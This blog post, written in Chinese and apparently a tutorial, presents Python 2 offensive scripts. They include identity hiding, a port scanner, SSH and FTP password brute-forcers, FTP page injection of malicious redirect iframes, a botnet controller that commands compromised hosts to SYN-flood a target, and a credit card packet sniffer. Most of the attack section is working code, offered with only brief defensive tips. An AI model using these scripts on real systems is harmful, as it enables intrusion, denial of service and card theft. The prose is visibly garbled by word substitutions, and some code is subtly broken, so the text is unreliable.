网络如此发达的明天,攻打无处不在,而每一次攻打的胜利往往造成信息的透露,严重者甚至带来经济的损失。所以作为技术人员,咱们每个人都应该懂一点攻防;这样做尽管无奈做到齐全爱护个人隐私,但对加强集体安全意识还是有帮忙的。

可能大家会感觉攻防是一件很神秘且须要浅近技术的事(PS:事实也是如此,因为其通常波及隐衷,大家必定不会天天将隐衷挂在嘴边),但咱们的目标不是成为 Hacker,当然也不是成为脚本小子,而是理解在简单的网络环境中如何爱护本人,让本人不至于成天在互联网的世界里裸奔而不自知。

想要理解攻防,咱们首先得抉择本人的语言工具,Python 语法简略、第三方库丰盛非常适宜作为咱们的首选语言(本文例子将采纳 Python 2.x 语法书写)。Mac 上便自带了 Python,当然咱们能够搭建更业余的零碎,BackTrack 就是不错的抉择,该零碎提供了大量用于网络分析、浸透测试、无线攻打等的工具。

既然工具已有,接下来咱们逐渐摸索攻击者在网络中都会做些什么?

隐匿行踪

一个优良的攻击者在发动攻打时首先都会隐匿集体行踪!大家晓得,在拜访网站时咱们会用到 Web 浏览器,而通过浏览器跟指标网站交互时会有很多伎俩记录使用者的信息,如:IP、User-Agent、Cookie 等。业余的攻击者须要抹去这些信息,让被拜访网站不晓得本人是谁;这里咱们不通过 Web 浏览器,而是间接应用 mechanize 库来拜访网站,咱们须要:

通过 VPN、Tor 网络或代理服务器匿名 IP(获取代理

import mechanizedef hideIp(url, proxy):    browser = mechanize.Browser() # 创立浏览器对象    browser.set_proxies(proxy) # 此处应用代理隐匿    page = browser.open(url) # 关上网址    source_code = page.read() # 读取网页内容    print source_code # 输入内容url = 'xxxxx'hideProxy = {'http': 'xxx.xxx.xxx.xxx:xxxx'}hideIp(url, hideProxy)

间接伪造 UA 隐匿 User-Agent 相干信息(无效 UA 串

import mechanizedef hideUA(url, userAgent):    browser = mechanize.Browser() # 创立浏览器对象    browser.addheaders = userAgent # 批改 UA 头部信息    page = browser.open(url) # 关上网址    source_code = page.read() # 读取网页内容    print source_code # 输入内容url = 'xxxxx'userAgent = [('User-agent', 'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')]hideIp(url, hideProxy)

革除浏览器 Cookie 后持续拜访地址(用 Python 外围库 Cookielib 即可实现)

import mechanize, cookielibdef hideCookie(url, cookieJar):    browser = mechanize.Browser() # 创立浏览器对象    browser.set_cookiejar(cookieJar) # 批改 Cookie    page = browser.open(url) # 关上网址    source_code = page.read() # 读取网页内容    print source_code # 输入内容url = 'xxxxx'cookie_jar = cookielib.LWPCookieJar()hideIp(url, cookie_jar)

为不便后续进行信息收集,咱们将隐匿代码整合造成 safeBrowser 类:

import mechanize, cookielib, randomclass safeBrowser(mechanize.Browser):    def __init__(self, proxies = [], user_agents = []): # 初始化        mechanize.Browser.__init__(self)        self.set_handle_robots(False)        self.proxies = proxies        self.user_agents = user_agents + ['Mozilla/4.0 FireFox/6.01', 'ExactSearch', 'Nokia7110/1.0']        self.cookie_jar = cookielib.LWPCookieJar()        self.set_cookiejar(self.cookie_jar)        self.anonymize()    def chear_cookies(self): # 清理 cookie        self.cookie_jar = cookielib.LWPCookieJar()        self.set_cookiejar(self.cookie_jar)    def change_user_agent(self): # 批改 UA        index = random.randrange(0, len(self.user_agents))        self.addheaders = [('User-agent', (self.user_agents[index]))]    def change_proxy(self): # 批改代理        if self.proxies:            index = random.randrange(0, len(self.proxies))            self.set_proxies({'http': self.proxies[index]})    def anonymize(self, sleep = False):        self.chear_cookies()        self.change_user_agent()        self.change_proxy()        if sleep: # 过程休眠,管制两次申请之间工夫距离,能够无效升高服务器认为是同一行为的可能性            time.sleep(60)

当然,隐匿的手法还有很多很多(TTL 伪造、fast-flux、domain-flux 等),此处就不再一一赘述。

收集信息

在隐匿了集体行踪后,攻击者会从社会工程学的角度获取跟攻打对象相干的所有信息(如:领有权限的人、横向安全性弱的零碎等),因为越全面的信息越能帮忙攻打取得成功;当然也不排除攻击者为了进行无差别攻打而进行的信息收集(如:资源爬虫、网络欺骗等)。

个别想到信息收集,大家第一反馈必定是 google 或 baidu 一下,搜索引擎的确能帮咱们找到很多有用的信息,不过如果手动搜寻效率会比拟低,好在此类引擎都有提供搜寻接口供应用,以 google 为例:

import json, urllibfrom safeBrowser import * # 引入下面定义的 safeBrowser 类def getInfo(search_key):    browser = safeBrowser()    search_key = urllib.quote_plus(search_key) # 编码搜寻关键字    res = browser.open('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=' + search_key)    resObj = json.load(res) # json 格式化数据    print resObjgetInfo('test')

如此,咱们便可通过关键字获取到相干信息的一个 JSON 对象,如果只须要某局部信息再对对象做准确解析即可。

有时候获取目标群体在某些社交平台公布的信息也很重要,如 Twitter 平台,此类平台也会提供供开发者应用的 API,如咱们想获取某人在 Twitter 上公布的信息:

import json, urllibfrom safeBrowser import *class reconPerson:    def __init__(self, first_name, last_name, job='', social_media={}):        self.firset_name = firset_name        self.last_name = last_name        self.job = job        self.social_media = social_media    def __repr__(self):        return self.firset_name + ' ' + self.last_name + ' has job ' + self.job    def get_social(self, media_name):        if self.social_media.has_key(media_name):            return self.social_media[media_name]        return None    def query_twitter(self, search_key):        search_key = urllib.quote_plus(search_key)        browser = safeBrowser()        res = browser.open('http://search.twitter.com/serarch.json?q=' + query)        resObj = json.load(response)        return resObjrecon = reconPerson('xxx', 'xxx')print recon.query_twitter('from:xxx since: 2022-03-14 include: xxx')

除了下面这些信息,其余信息也很重要,如:指标公司对应的公网 ip、法人信息等、ip 对应的 mac 地址,此类信息网上有很多平台能够查问到(如:企查查),大家可自行上网搜寻。

发动攻打

在攻击者把握了相干信息后,下一步就是发动攻打了,这也是大家最关怀的一步;上面咱们来看几种常见的攻打手法。

侦察&撞库

假如咱们当初只晓得指标服务器的 IP,此时咱们想要发动攻打就须要晓得更多的信息,如:凋谢的端口、应用的服务器相干信息等。如果咱们发现服务器上凋谢了某些不平安端口或部署的服务是某个存在破绽的版本,便可间接发动攻打。侦察脚本如:

import optparse # 命令行参数解析import socket # BSD 嵌套字拜访from socket import *from threading import Thread # 多线程def connScan(host, port): # 执行扫描    try:        conn = socket(AF_INET, SOCK_STREAM)        conn.connect((host, port)) # 连贯服务        conn.send('xxx\r\n') # 发送数据以获取服务器响应        res = conn.recv(100) # 获取响应前 100 字符        print '[+]%d/tcp open' %port        print '[+] ' + str(res)    except:        print '[-]%d/tcp closed' %portdef protScan(host, ports):    try:        ip = gethostbyname(host) # 依据 host 获取 ip    except:        print "[-] Cannot resolve '%s': Unknown host" %host        return    try:        name = gethostbyaddr(ip) # 获取主机信息        print '\n[+] Scan Results for: ' + name[0]    except:        print '\n[+] Scan Results for: ' + ip    setdefaulttimeout(1) # 设置超时,避免响应工夫过长导致程序卡住    for port in ports:        print 'Scanning port ' + port        thr = Thread(target=connScan, args=(host, int(port))) # 开启多线程扫描        thr.start()def main():    # 定义参数    parser = optparse.OptionParser("usage%prog -H <target host> -P <target port>")    parser.add_option('-H', dest='host', type='string', help='target host')    parser.add_option('-P', dest='port', type='string', help='target port[s]')    # 参数解析    (options, args) = parser.parse_args()    host = options.host    ports = str(options.port).split(',')    if (host == None) | (ports[0] == None):        print '[-] You must specify a target host and port[s].'        exit(0)    portScan(host, ports)if __name__ == '__main__':    main()

如此,咱们便可通过简略的指令实现对指标的侦察:python portScan.py -H xx.xx.xx.xx -P 21,80,443。当然咱们有更不便的工具库来做侦察:python-nmap,能够解放咱们手动定义脚本侦察过程。

下面的侦察办法有时候能间接找到系统漏洞,然而咱们更心愿的是能间接获取更高权限(如:在连贯服务器后间接执行指令),在弱口令机器上咱们可间接通过撞库的模式来尝试破解口令。咱们须要留神:通常进行 SSH 连贯时会存在交互过程,比方输出 SSH user@host 后会让咱们先确认 RSA,确认后再要求输出明码,咱们能够须要采纳 Pexpect 或 Pxssh 库来实现整个交互&撞库过程:

import pxsshimport optparseimport time # 工夫管制from threading import *maxConnections = 5connection_lock = BoundedSemaphore(value=maxConnections) # 连贯加锁,避免后果乱序Found = FalseFails = 0def send_command(s, cmd): # 撞库胜利后向服务器发送指令    s.sendline(cmd)    s.prompt()    print s.beforedef conn(host, user, password, release): # 发动连贯    global Found    global Fails    try:        s = pxssh.pxssh()        s.login(host, user, password)        print '[+] Password Found: ' + password        Found = True    except Exception, e:        if 'read_nonblocking' in str(e): # SSH 服务器被大量连贯刷爆,过一段时间从新发动            Fails += 1            time.sleep(5) # 手动提早            conn(host, user, password, False)        elif 'synchronize with original prompt' in str(e): # pxssh 命令提示符提取艰难,过一会从新发动            time.sleep(1) # 手动提早            conn(host, user, password, False)        finally:            if release:                connection_lock.release() # 开释锁def main():    # 定义参数    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <password list>")    parser.add_option('-H', dest='host', type='string', help='target host')    parser.add_option('-u', dest='user', type='string', help='the user')    parser.add_option('-F', dest='passwordFile', type='string', help='password file') # 明码字典    # 参数解析    (options, args) = parser.parse_args()    host = options.host    user = options.user    passwordFile = options.passwordFile    if host == None or passwordFile == None or user == None:        print parser.usage        exit(0)    fn = open(passwordFile, 'r') # 关上明码字典    for line in fn.readlines():        if Found: # 找到明码            print "[*] Exiting: Password Found"            exit(0)        if Fails > 10: # 超时过多            print "[!] Exiting: Too Many Socket Timeouts"            exit(0)        connection_lock.acquire() # 线程加锁        password = line.strip('\r').strip('\n') # 取明码库中的一行数据        t = Thread(target=conn, args=(host, user, password, True))        child = t.start()if __name__ == '__main__':    main()

当初只有有“明码字典”便可间接发动撞库攻打(攻击者都会有本人的明码字典),一旦撞库胜利便可通过 send_command 办法发动可执行指令。撞库不仅能够用来暴力破解服务器口令,还能够用来破解加密文件、用户明码等数据。

所以咱们平时在设置明码时不同网站应采纳不同明码,且尽可能使明码的熵值更高!

因为咱们的暴力破解会一直的向服务端发送登陆指令,如果指标服务器上部署了 IDS(入侵检测零碎)还是很容易发现的,通过 IPS(入侵进攻零碎)便可间接阻止攻打。

病毒感染

聪慧的猎手往往更喜爱刻舟求剑,通过攻打某些存在破绽的网站或间接结构一个带病毒网站,期待用户拜访。一旦用户发动拜访,便能够应用反向连贯访问者主机开启连贯后门或种入病毒持续流传等形式使其为攻击者所用。假如攻击者针对 FTP 服务发动攻打:

import ftplibimport optparseimport timedef anonLogin(hostname): # FTP 容许匿名拜访时轻易伪造一个用户登陆    try:        ftp = ftp.FTP(hostname)        ftp.login('anonymous', 'test@test.com')        print '\n[*] ' + str(hostname) + ' FTP Anonymous Login Succeeded.'        ftp.quit()        return True    except Exception, e:        print '\n[-] ' + str(hostname) + ' FTP Anonymous Login Failed.'        return Falsedef bruteLogin(hostname, passwordFile): # FTP 不容许匿名登陆,采纳后面用过的暴力破解    file = open(passwordFile, 'r')    for line in file.readlines():        time.sleep(1)        userName = line.split(':')[0]        passWord = line.split(':')[1].strip('\r').strip('\n')        print '[+] Trying: ' + userName + '/' + passWord        try:            ftp = ftplib.FTP(hostname)            ftp.login(userName, passWord)            print '\n[*] ' + str(hostname) + 'FTP Login Succeeded: ' + userName + '/' + passWord            ftp.quit()            return (userName, passWord)        except Exception, e:            pass    print '\n[-] Could not brute force FTP credentials.'    return (None, None)def returnDefault(ftp): # 找出 FTP 服务器上部署的所有 .php、.html、.asp 文件    try:        dirList = ftp.nlst()    except:        dirList = []        print '[-] Could not list directory contents.'        print '[-] Skipping To Next Target.'        return    retList = []    for fileName in dirList:        fn = fileName.lower()        if '.php' in fn or '.html' in fn or '.asp' in fn:            print '[+] Found default page: ' + fileName            retList.append(fileName)    return retListdef injectPage(ftp, page, redirect): # 将找出的文件下载并写入重定向地址后从新上传,期待用户拜访重定向后的歹意页面    f = open(page + '.tmp', 'w')    ftp.retrlines('RETR ' + page, f.write)    print '[+] Downloaded Page: ' + page    f.write(redirect)    f.close()    print '[+] Injected Malicious IFrame on: ' + page    ftp.storlines('STOR ' + page, open(page + '.tmp'))    print '[+] Uploaded Injected Page: ' + pagedef attact(username, password, tgtHost, redirect): # 攻打执行    ftp = ftplib.FTP(tgtHost)    ftp.login(username, password)    defPages = returnDefault(ftp)    for defPage in defPages:        injectPage(ftp, defPage, redirect)def main():    # 定义参数    parser = optparse.OptionParser("usage%prog -H <target host[s]> -r <redirect page> [-f <userpass file>]")    parser.add_option('-H', dest='hosts', type='string', help='target hosts')    parser.add_option('-r', dest='redirect', type='string', help='redirection page')    parser.add_option('-f', dest='passwordFile', type='string', help='user/password file') # 明码字典    # 参数解析    (options, args) = parser.parse_args()    hosts = options.host    redirect = options.redirect    passwordFile = options.passwordFile    if hosts == None or redirect == None:        print parser.usage        exit(0)    for tgtHost in hosts:        username = None        password = None        if anonLogin(tgtHost) == True:            username = anonymous            password = 'test@test.com'            print '[+] Using Anonymous Creds to attack'            attack(username, password, tgtHost, redirect)        elif passwordFile != None:            (username, password) = bruteLogin(tgtHost, passwordFile)            if password != None:                print '[+] Using Creds: ' + username + '/' + password + 'to attack'                attack(username, password, tgtHost, redirect)if __name__ == '__main__':    main()

Metasploit 能够帮忙疾速创立歹意服务器和页面(可建设反向 SSH 连贯),也就是咱们须要的 redirect。这样咱们一旦攻破某个服务器上的 FTP 服务,便可刻舟求剑期待用户拜访,用户发动拜访后便可进行病毒传播和主机管制。

所以倡议大家平时不要拜访一些显著会有病毒的网页,意外的关上也需立即敞开。

网络攻击

后面的病毒感染能够使咱们的主机被攻击者抓取变成供其应用的“肉机”,领有肉机的攻击者能够指挥肉机发动 DDos 等攻打,使指标站点无奈响应等。咱们采纳 Scapy 来结构报文(其余网络攻击只需依据攻打个性伪造对应报文即可)并指挥肉机发动一个 SYN 泛洪攻打:

在肉机中植入攻打脚本:

from scapy.all import *def synFlood(src, tgt):    for sport in range(1024, 65535):        IPlayer = IP(src=src, dst=tgt)        TCPlayer = TCP(sport=sport, dport=513)        pkt = IPlayer / TCPlayer        send(pkt)src="xxxxx"tgt="xxxxx"synFlood(src, tgt)

连贯肉机执行命令:

import optparseimport PxsshbtoNet = []class Client:    def __init__(self, host, user, password): # 初始化        self.host = host        self.user = user        self.password = password        self.session = self.conn()    def conn(self): # 连贯机器        try:            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            return s        except Exception, e:            print e            print '[-] Error Connecting'    def send_command(self, cmd): # 发送命令        self.session.sendline(cmd)        self.session.prompt()        return self.session.beforedef botnetCommand(cmd):    for client in botNet:        output = client.send_command(cmd)def addClient(host, user, password):    client = Client(host, user, password)    botNet.append(client)addClient('xxxxx', 'xx', 'xx') # 增加肉机addClient('xxxxx', 'xx', 'xx')addClient('xxxxx', 'xx', 'xx')addClient('xxxxx', 'xx', 'xx')botnetCommand('python synFlood.py') # 使肉机批量执行命令

为了防止本人主机被抓取当成肉机,定期的全盘病毒扫描是有意义的。

无线攻打

攻击者还能够通过间接窃听无线信号后进行攻打,比方监听 802.11 协定簇(IEEE 为无线局域网络制订的规范),一旦有用户连贯上攻击者提供的收费无线局域网,在其中发送的信息就会容易被窃取。

aircrack-ng 能够帮忙攻击者破解无线 802.11 WEP 和 WAP-PSK 加密,联合混淆模式(如:airmon-ng start wlan0 将无线网卡 wlan0 改为混淆模式)下的嗅探网卡(如:CSR 公司的芯片组)便可对信息进行嗅探。同样咱们应用 Scapy 进行嗅探和剖析。

import re # 正则库import optparsefrom scapy.all import *def findCreditCard(pkt): # 匹配报文中的卡号信息    row = pkt.sprintf('%Row.load%')    americaRE = re.findall('3[47][0-9]{13}', row)    if americaRE:        print '[+] Found American Express Card: ' + americaRE[0]def main():    parser = optparse.OptionParser("usage%prog -i <interface>")    parser.add_option('-i', dest='interface', type='string', help='interface to listen on')    (options, args) = parser.parse_args()    if options.interface == None:        print parser.usage        exit(0)    else:        conf.iface = options.interface # 绑定嗅探用网卡    try:        print '[*] Starting Credit Card Sniffer.'        sniff(filter='tcp', prn=findCreditCard, store=0) # 只嗅探 tcp 报文    except:        exit(0)if __name__ == '__main__':    main()

从这里能够看出,如果连贯到一些收费公开的局域网时,可能会面临被攻打的危险。而且无线攻打能做到的远不止示例说写,它还能看到你去过哪里、应用的什么设施、发送过什么敏感信息,甚至在破解某些交互协定后能做到管制汽车、无人机等。

为了防止信息泄露,请不要随便连贯未知无线网络。

调查取证

通过一直的学习,大家都能够具备攻击能力;但咱们要强调的是:请严格遵守国家的法律法规,切勿心生歹念,常在河边走,哪有不湿鞋!只有攻击者在网络中留下蛛丝马迹,就会存在被溯源发现的危险,如:

  • 某些文件元数据中可能会记录使用者的相干信息,咱们可能听过:

    • BTK 杀人狂魔寄送给 KSAS 电视台的软盘中有一个 Test.A.rtf 文件,此文件元数据中记录了一个物理地址导致 BTK 被抓获
    • 军队不容许士兵应用手机,因为照片等文件元数据中会记录坐标未知等信息,导致部队被探查到
  • 后面提到网站中有很多字段会记录用户信息(如:IP 等),除了下面提到的,SQLite 之类的数据库也可能存在某些信息
  • 零碎注册表中也可能含有用户信息,如:HKEY_LOCAL_MACHINE\SOFT-WARE\Microsoft\Window NT\CurrentVersion\ProfileList\<SID>\ProfileImagePath 中存储了 SID 对应的精确用户名
  • ...

咱们来看一个取证的例子:通过 Dpkt 流量剖析工具解析服务器上接管到的数据包,从数据包中获取 ip 地址,最初通过 GeoLiteCity 查问到对应的坐标:

import dpkt # 流量剖析工具,性能相似后面用到的 scapyimport pygeoip # ip 转坐标import socketgi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')def getRecord(tgt):    rec = gi.record_by_name(tgt)    city = rec['city'] # 城市    region = rec['region_name'] # 地区    country = rec['country_name']    long = rec['longitude'] # 经度    lat = rec['latitude'] # 纬度    return str(city) + ',' + str(region) + ',' + str(country) + '[Latitude:' + str(lat) + 'Longitude:' + str(long) + ']'def printPcap(pcap):    for (ts, buf) in pcap:        try:            eth = dpkt.ethernet.Ethernet(buf)            ip = eth.data            src = scoket.inet_ntoa(ip.src)            dst = scoket.inet_ntoa(ip.dst)            print '[+] Src:' + getRecord(src) + ' ---> Dst:' + getRecord(dst)        except:            passdef main():    f = open('test.pcap') # 关上 test.pcap 报文    pcap = dpkt.pcap.Reader(f) # 读取报文    printPcap(pcap)def __name__ == '__main__':    main()

至此,咱们对常见攻打应该有了大抵意识,最初举荐一些平安学习的网址:

  • 晓得创宇
  • 浸透师
  • FreeBuf
  • The Hacker News
  • MITRE ATT&CK
  • National Institute of Standards
  • CVE
  • 国家信息安全破绽共享平台

作者:ES2049 / Merlion

文章可随便转载,但请保留此原文链接。
十分欢送有激情的你退出 ES2049 Studio,简历请发送至 caijun.hcj@alibaba-inc.com 。